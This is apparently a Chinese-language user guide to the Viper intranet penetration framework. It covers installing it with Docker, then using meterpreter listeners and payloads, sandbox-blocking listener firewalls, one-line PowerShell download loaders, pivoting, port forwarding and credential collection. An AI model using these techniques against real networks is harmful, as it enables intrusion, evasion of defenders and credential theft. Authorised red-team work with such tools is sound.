Viper渗透框架
Viper渗透框架
hihopkcViper渗透框架
Viper简介
Viper (炫彩蛇)
- 是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
- 集成杀软绕过,内网隧道,文件管理,命令行等基础功能。
- 当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类。
- 目标是帮助红队工程师提高攻击效率,简化操作,降低技术门槛。
- 支持在浏览器中运行原生 msfconsole ,且支持多人协作。
文档:https://www.yuque.com/vipersec
github:https://github.com/FunnyWolf/Viper
Viper安装
脚本安装
1 | sysctl -w vm.max_map_count=262144 |
提示输入viper密码,后续登入viper需要此密码
等待容器启动成功,然后访问https://ip:60000,登录用户名:root,登录密码为之前自己设置的密码
手动安装
准备一台linux系统的VPS或虚拟机,首次使用建议虚拟机安装,推荐使用ubuntu系统
- 切换到 root 用户执行命令
1 | su root |
- Kali 安装 docker
1 | apt-get update |
- 安装 docker-compose
1 | apt install docker-compose |
- 设置安装目录
1 | export VIPER_DIR=/root/VIPER |
- 生成安装目录,并进入安装目录
1 | mkdir -p $VIPER_DIR && cd $VIPER_DIR |
- 生成 docker-compose.yml
1 | tee docker-compose.yml <<-'EOF' |
外网 VPS 也可以将 registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
替换成 registry.cn-hongkong.aliyuncs.com/toys/viper:latest
- 设置登录密码
1 | export VIPER_PASSWORD=VIPER@PASS |
- 写入密码到 docker-compose.yml
1 | sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml |
- 启动 Viper
1 | cd $VIPER_DIR |
注意: 所有的 docker-compose 命令必须在安装目录执行才会有效果
Viper 登录
等待15s系统启动
访问登录服务器: https://yourip:60000
用户名: root
密码: VIPER@PASS
查看密码: cat /root/VIPER/docker-compose.yml
查看端口: cat /root/VIPER/nginxconfig/viper.conf ,默认端口为 60000
注意:
如果你使用VPS部署Viper,请确认VPS的防火墙开放了60000端口及后续监听需要的端口
Viper 配置
版本更新
删除原有容器
1 | cd /root/VIPER # 进入viper安装目录 |
更新 docker 镜像
1 | docker-compose pull |
新建并启动容器
1 | docker-compose up -d |
修改密码
- 临时修改密码
适用于需要在不重启 Viper 的情况下修改密码, Viper 更新后密码不会保留Viper 不允许使用默认密码,VIPER@PASS 替换为自定义密码密码且大于8位
进入 Docker 镜像命令行
1 | docker exec -it viper-c bash |
执行修改密码命令
1 | viper -pw VIPER@PW |
- 持久化修改密码
需要重启 Viper
Viper 不允许使用默认密码, VIPER@PASS 替换为自定义密码密码且大于8位
进入安装目录
1
cd /root/VIPER
设置密码
1
export VIPER_PASSWORD=VIPER@PASS
写入密码到 docker-compose.yml
1
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
重新建立容器
1
2
3cd /root/VIPER # 进入Viper安装目录
docker-compose down # 删除现有容器
docker-compose up -d # 重启启动容器
关闭/重启
- 临时关闭 Viper
1 | cd /root/VIPER |
重新启动 Viper
1 | cd /root/VIPER |
- 查看容器日志
1 | docker logs viper-c |
- 进入容器命令行
1 | docker exec -it viper-c bash |
安装目录
Viper 通过 docker 挂载目录的方式持久化保存数据
- db目录
[db.sqlite3]: 是Viper的SQL数据库文件
[dump.rdb] : 是Viper缓存数据库文件
- log目录
[access.log] : nginx访问日志
[error.log] : nginx错误日志
[daphne.log] : viperpython websocket运行日志
[uwsgi.log] : viperpython http服务运行日志
[viperpython.log] : vipepython 主服务运行日志
[puma.log] : msf接口服务日志
- loot目录
存放用户 下载/上传 的文件
- module目录
存放自定义模块
- nginxconfig目录
[gencert.sh] :用于生成自定义 ssl 证书
[ssl.crt][ ssl.csr][ ssl.key][ ssl.origin.key] : [ssl] 证书相关文件,用于 [nginx]
[viper.conf] : [nginx] 子配置文件,用户可通过该配置文件自定义 [nginx] 配置
Viper基本使用
实时输出
- 模块结果
左侧:显示主机IP/模块/参数/结果等信息
顶部支持 搜索过滤 重置过滤 清空数据 等操作.
- 平台日志
右侧:列表展示平台运行日志,日志包含关键操作通知,模块运行过程中的日志等信息
顶部输入还支持多用户聊天
任务列表
- [任务列表] 标签会提示当前有多少任务正在运行
- 可以点击任务对应的模块名称查看模块详细信息
结果在实时输出里面查看
面板会显示 开始时间 模块 模块涉及的Sessionid 模块参数
可以使用 删除 终止任务运行
监听载荷
payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell ,也可以进行程序注入等。
Stageless
payload 分为 staged (分阶段)和 stageless (不分阶段):
1 | Stageless payload: <platform>/[arch]/<single> |
Stageless Meterpreter 是一个二进制文件,包含 Meterpreter 的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的 payload 都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行
Staged
1 | Staged payload: <platform>/[arch]/<stage>/<stager> |
Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
[stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理]
Payload | Staged | Stageless |
---|---|---|
Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
监听
在MSF原生的 hander/payload 基础上,Viper增加了如下两项功能
增加虚拟监听的概念,在内网渗透的某些场景中(如注入shellcode,spawn进程,AB网正向hander),我们只需要快捷的调用已有的监听配置,不需要实际建立网络监听或网络连接
2、虚拟监听和实际监听可相互转化
1、新增监听
-
虚拟监听 是指将输入的监听配置选项存储在缓存中,但不在服务器中建立实际运行的监听.后续在运行模块/传输协议时可以快速选择该监听配置.
虚拟监听 在系统重启后仍然存在,可用于鱼叉钓鱼,持久化等场景
真实的监听使用绿色图标表示,虚拟监听使用灰色图标表示
- 虚拟监听与实际监听可通过 虚拟化 实例化 相互转换
载荷
1、快速生成
- 可以点击监听中的 生成载荷 按钮快速生成载荷,Windows类型载荷为源码编译版本,linux类型载荷为elf类型.
2、配置生成
- 选择下方 生成载荷 按钮可以手动输入配置生成载荷.
- 选择 自动监听 选项,在生成载荷完成后自动添加载荷所对应的监听
监听防火墙
每当客户端连接 viper 的监听时, viper 会根据客户端的网络IP地址来判断该IP是否允许连接监听。
允许时则正常传输载荷到客户端,不允许时直接断开网络连接。
- 使用场景
- 当使用鱼叉钓鱼时,目标的地理位置为一个固定区域(例如一个省),监听防火墙可以屏蔽其他国外或其他省的IP连接监听
- 红队模拟时,如果可以根据需要屏蔽沙箱及网络测绘服务器连接监听
- 如果IP地址不被允许连接监听,则客户端(通常为沙箱或者蓝队人员)无法获取stager,就无法判断C2服务器类型.
WebDelivery
WebDelivery 功能与 MSF 的 exploit/multi/script/web_delivery 功能相同。
用于一句话加载 payload 。常用于可以执行命令,但是不方便上传文件的场景。
文件列表
1、上传/下载
- 支持拖拽文件上传及点击上传,点击 下载 自动使用浏览器下载
2、查看
- 支持直接预览文本文件及图片
3、一句话下载
当文件上传到服务器后, Viper 默认提供网络下载功能,界面中会提示各种版本的一句话下载.
1 | powershell -ep bypass -c " |
网络拓扑
汇总端口扫描,历史Session上线信息,当前Session信息及当前路由信息,分析处理后生成网络拓扑图.
自动编排
每当有新的Session(权限)上线时,会自动按照顺序执行 自动编排 中已经配置好的模块.
- 时间间隔
可以通过该参数设置每个模块执行的间隔时间,避免短时间内执行多个模块导致报警或不稳定
- 单一主机最大权限数量
如果在 自动编排 中配置了会生成新的权限的模块(比如 上传并执行可执行文件 ),则可能会出现死循环:新的权限->自动编排模块->自动编排模块导致新的权限->自动编排模块>…
在配置了该参数之后,如果系统判断单一主机(同一个内网IP)对应的权限数量大于配置数量,则自动跳过自动编排模块.
内网代理
Viper 的内网代理功能基于 MSF 的 socks4a/socks5 代理模块集成而来。 Viper 将内网路由,端口转发,内网代理集中控制,方便使用。
1、路由路径
内网代理 路由路径 中可以查看所有主机的路由信息
如果不存在对应路由,则用网络直连表示
2、路由列表
- 查看所有 Session 中的路由
3、端口转发
- 查看所有Session的端口转发配置
4、内网代理
- 内网代理可以添加 socks4a、socks5 两种代理,socks5代理不支持udp
- 代理使用的路由基于 内网路由 ,使用代理前确认配置了正确的路由.
凭证列表
-
通过模块获取到的密码信息都会存储在此处
- 也可以手动添加
MSFCONSOLE
Metasploit console 控制台
1、常规操作
- 原生复制msfconsole操作
- 支持tab智能提示
- 支持Ctrl+C终止/Ctrl-Z切换到后台等操作
- 支持选择文本自动复制到剪切板功能
2、特殊命令
- 如果出现命令行假死等问题,可以通过输入viper进行重置操作
权限操作
权限信息
1、查看
- 点击生成的Session,选择权限信息
2、进程列表
- 进程列表显示主机所有进程的信息和Session进程的信息
文件管理
通过点击权限,选择 文件管理 进入主界面
1、文件浏览
- 文件管理功能类似Windows的资源管理器
上图功能依次为 打开根目录 打开默认目录 打开上级目录 目录栏 前往 刷新 切换默认目录 新建文件夹 上传文件
文件夹及磁盘支持双击进入,目录栏支持输入指定目录后回车进入目录
支持直接查看不大于100kb的文件
支持切换工作目录/刷新当前目录
2、新建文件夹/上传文件/下载文件
- 点击上方新建文件夹按钮可在当前目录新建文件夹
- 点击上传按钮可打开服务端文件管理器,可以将服务器的文件上传到当前目录
- 点击 下载 链接,后台自动建立下载文件任务,下载的文件会存储在 文件管理 中
3、执行文件
- 支持带参数执行可执行文件(无回显)
5、修改文件
- 可直接修改主机的文本类文件
内网路由
- 自动模式 中,Session会根据所在主机网卡IP/掩码/网关自动添加路由
- 如果内网某个网卡有多个子网,还可以通过手工输入的方式添加
- 内网路由页面只显示当前Session添加的路由,如果需要查看所有路由,可以通过内网代理 路由列表 查看所有路由
Viper内网路由即是Metasploit的route功能,具体原理可以参考如下链接:
端口转发
权限操作 端口转发
1、正向转发
正向转发是将VPS的网络端口转发到Session所在内网的某IP某端口.常用于连接内网的某服务,如RDP,SSH等.
如将Session所在主机的127.0.0.1:3389映射到VPS的33889端口,可以采用如下设置
远程IP(目标) 远程端口(目标) 也可以选择内网其他主机
2、反向转发
- 反向转发是将内网的某IP某端口转发到VPS的网络端口.
- 反向转发通常用于handler监听的回连.
假设你已经获取到内网192.168.3.13的权限并建立了Session,你通过一些途径了解到192.168.3.0/24网段的其他机器无法直接连接互联网,也就是无法直接连接你的VPS.
此时你可以建立如下反向转发.
所有内网机器连接192.168.3.13:2000就相当于连接VPS的500端口
你可以在500端口建立监听并建立一个192.168.3.13:2000的虚拟监听.
此时可以使用虚拟监听192.168.3.13:2000作为载荷攻击内网其他机器.即使其无法直接连接VPS
- Viper的端口转发功能基于metasploit-framwork的portfwd
传输协议
权限操作 传输协议
命令终端
权限操作
命令终端
1、命令操作
- 命令终端中可以直接输入命令,还可以通过下方快捷键快速输入.
- 命令终端中默认使用meterpreter增强命令行,如果希望执行系统命令,可以使用shell + 命令的方式
删除权限
权限操作
删除权限
可以使用删除权限功能关闭已获得的session
删除权限后无法撤销!
主机操作
主机信息
1、读取缓存/重新请求
- 每次打开窗口时会自动读取数据库中缓存的主机信息
- 点击 重新请求 会在后台执行更新主机信息模块,模块执行完成后自动将结果存储到数据库中.
2、主机信息
3、网卡信息
4、本地监听
5、外网连接 判断主机有哪些联网应用
6、内网连接 通常用于判断内网其他主机的IP地址及服务
7、ARP信息 用于查找内网网段
8、重要进程 用于判断主机的杀软及远控软件(teamviewer/anydesk)运行情况
9、所有连接
10、所有进程
开放端口
数据来源,展示的端口信息主要来源于三个模块:
端口扫描与服务识别
端口扫描
内网ARP扫描
可以在 运行模块
选择过滤
信息收集
类模块中找到这三个模块.
已知漏洞
- 当前功能适配 MS17-010扫描 模块
- 已知功能当前适配的模块很少,属于框架型功能
修改备注
主机操作
修改备注
或直接点击主机图标标签修改
删除主机
主机操作
删除主机
或在 主机管理
中批量删除
常见问题
- 为什么无法删除主机?
如果当前主机有正在活动的Session,viper会自动新建主机信息
- 为什么删除主机后Session仍然存在?
删除主机只会删除数据库中存储的主机相关信息,viper并不会关闭对应session
Viper 运行模块
模块类别
- 资源部署
- 初始访问
- 执行
- 持久化
- 权限提升
- 防御绕过
- 凭证访问
- 信息收集
- 数据采集
- 全网扫描
- 被动扫描
需要Session模块/无需Session模块
- 当在存在Session的行点击运行模块时,显示所有可用的模块,包括需要Sesison和无需Session的模块
过滤/查找/标注模块
Viper的根据ATT&TK对模块进行分类,可以通过选择栏进行过滤选择
支持根据关键字搜索模块,搜索功能会根据名称/TTPs/简介进行匹配
参数/说明
- 左侧点击选择模块后,右侧默认显示模块所需参数.鼠标移到参数上方时自动显示参数说明
- 右侧还可以切换到说明选项卡,展示模块的更多信息
适用权限是指模块可以在哪些权限下运行,如上图1表示模块可以在 普通用户权限,管理员权限.SYSTEM权限下都可以运行,图二表示模块只能在管理员及SYSTEM权限下运行.
运行/结果输出
- 输入参数后点击运行即可运行模块
- 运行后切换到 实时输出 可以看到模块运行状态
右侧通知列表会显示 模块进入后台 模块运行时输出的日志 模块运行结束后提示 等
左侧展示模块的运行结果,包括 运行结束时间 主机IP 模块名称 模块参数 模块结果输出 等
- 如果模块运行时间较长,可以在任务列表页面查看后台有哪些模块在运行
- 点击删除按钮会手动终止模块后台运行